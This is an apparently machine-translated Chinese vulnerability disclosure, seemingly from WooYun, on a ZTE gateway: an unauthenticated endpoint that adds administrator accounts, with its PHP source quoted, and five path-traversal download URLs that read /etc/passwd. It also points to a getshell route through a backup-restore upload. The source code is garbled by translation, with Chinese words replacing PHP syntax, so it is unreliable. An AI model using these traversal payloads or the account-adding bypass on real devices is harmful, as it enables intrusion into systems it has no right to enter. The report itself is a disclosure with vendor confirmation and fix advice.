中兴某网关设备后台绕过可Shell+N处任意文件下载漏洞合集

漏洞标题 中兴某网关设备后台绕过可Shell+N处任意文件下载漏洞合集 相关厂商 中兴通讯股份有限公司 漏洞作者 pandas 提交时间 2016-03-31 17:43 公开时间 2016-06-3…

漏洞标题 中兴通讯的网关设备后台绕过Shell + N的任何文件下载漏洞集合 相关制造商 中兴通讯 漏洞作者 熊猫 提交时间 2016-03-31 17: 43 公共时间 2016-06-30 09: 10 漏洞类型 许可控制旁路 危险等级 高 自我评估等级 18 漏洞状态 制造商已确认 标签标签 漏洞详细信息 有两种方法可以使用这种背景旁路,原理几乎相同,它不会刷洞:) 首先,添加任何管理员帐户登录背景 二,有权编辑原管理员用户,修改其密码登录后台 第一种情况用于示范。毕竟,第二种情况更为暴力。 漏洞文件模块/admin/admin_account.be.php: 函数admin_account_add($ post){ 全球$ db; 全球$ res; 全球$ lang; 如果(!ci($ post ['txt_name'],'name',3,20)){ $水库> set_resultcode( ' - 2'); $ res-> set_resultstr($ lang ['user']。':'。$ lang ['namereq3']); 返回; } 如果(!CI($信息[ 't_name'], '实名',3,20)){ $水库> set_resultcode( ' - 2'); $ res-> set_resultstr($ lang ['realname']。':'。$ lang ['error_realname']); 返回; } 如果(!CI($信息[ 't_dept'], '实名',0,20)){ $水库> set_resultcode( ' - 2'); $ res-> set_resultstr($ lang ['dept']。':'。$ lang ['error_realname2']); 返回; } 如果(!CI($信息[ '电子邮件'], '电子邮件')){ $水库> set_resultcode( ' - 2'); $ res-> set_resultstr($ lang ['email']。':'。$ lang ['error_email']); 返回; } 如果(!CI($信息[ 't_desc'], '实名',0,100)){ $水库> set_resultcode( ' - 2'); $ res-> set_resultstr($ lang ['desc']。':'。$ lang ['error_role_desc']); 返回; } 如果($信息[ 'sel_role']==' - 1'){ $水库> set_resultcode( ' - 2'); $ res-> set_resultstr($ lang ['emptyform']。':'。$ lang ['adminrole']); 返回; } 如果(!ci($ post ['pas_password'],'uaname',5,20)){ $水库> set_resultcode( ' - 2'); $ res-> set_resultstr($ lang ['password']。':'。$ lang ['admin_pwd_error']); 返回; } 如果($ post ['pas_password']!=$ post ['pas_password2']){ $水库> set_resultcode( ' - 2'); $ res-> set_resultstr($ lang ['rtpass']。':'。$ lang ['passerr']); 返回; } $ count=$ db-> countOf('oft_operators','name=binary''。$ post ['txt_name']。'''); 如果($计数大于0){ $水库> set_resultcode( ' - 2'); $水库> set_resultstr($郎[ 'dupname']); 返回; } $ sql0='插入oft_operators(name,realname,department,contact,descript,password,state,user_type,role_id,email)值(''。$ post ['txt_name']。'',''。$。 post ['t_name']。'',''。$ post ['t_dept']。'',''。$ post ['t_contact']。'',''。$ post ['t_desc']。' ',''。md5($ post ['pas_password'])。'',''。(isset($ post ['chk_state'])?1: 0)。'',''。$ post ['object_type ''。'',''。$ post ['sel_role']。'',''。$ post ['email']。''''; $ DB->执行($ sql0); $ NEW_ID=$ DB-> lastInsertedId(); $ sqla=阵列(); if($ post ['object_type']=='1'|| $ post ['object_type']=='2'){ 为($ I=计数($交[ 'sel_obj']); $ I大于0; $ I - ){ $ sqla []='插入oft_oper_user值(''。$ new_id。'',''。$ post ['sel_obj'] [$ i-1]。'''''; } } $ db-> execute('start transaction'); Foreach($ sqla as $ sqlstr){ 如果(!$ db-> execute($ sqlstr)){ $ DB->执行( '回滚'); $水库> set_resultcode( ' - 4'); $水库> set_resultstr($郎[ 'DBERR']); 返回; } } $ DB->执行( '提交'); $ GLOBALS ['logs'] - > writelog(CATEGORY_OPERATE,'添加','添加帐户'。$ post ['t_name'],$ post ['hid_path'],'添加帐户'); $水库> set_resultcode( '0'); $水库> set_resultstr($郎[ '成功']); } 无需授权即可访问此文件,并可将上述功能代码直接添加到管理员用户:

如图所示,添加了test123密码为123456的管理员。 但是,这里有一个小坑。虽然页面返回添加成功,但实际上并未成功登录,但您需要添加新的管理组: 漏洞文件:modules/admin/admin_role.be.php 代码未发布,上面的逻辑类似。应该清楚如何使用这个系统。如果您还没有挖它,可以查看测试代码区域,该区域包含漏洞的完整使用代码。

此时,我们可以使用新的test123:成功登录管理后台

可以gethell,登录后有很多漏洞,不会刷漏洞,具体上传getshell可以看看modules/system/sys_backuprestore.be.php这个文件:

使用代码查看测试代码区域 漏洞证明: 顺便说一句,我发现要下载几个文件,不再分析代码,直接给出使用代码:(可能有重复,有劳动审查说明) 1. **。**。**。**/modules/system/download.php?file=/etc/passwd 2. **。**。**。**/download.php?filename=passwd& id=./././././././././etc/passwd文件 3. **。**。**。**/modules/audit/email_download.php?file=/etc/passwd 4. **。**。**。**/modules/audit/download.php?file=/etc/passwd 5. **。**。**。**/modules/service/download.php?id=/./././././././etc/passwd&文件=1 更多一般情况详见老年人提交的案例。 http://**。**。**。**/bugs/wooyun-2010-0189550 :) 修理计划: 不仅要验证用户权限,还要过滤。 版权声明:请注明源熊猫@乌云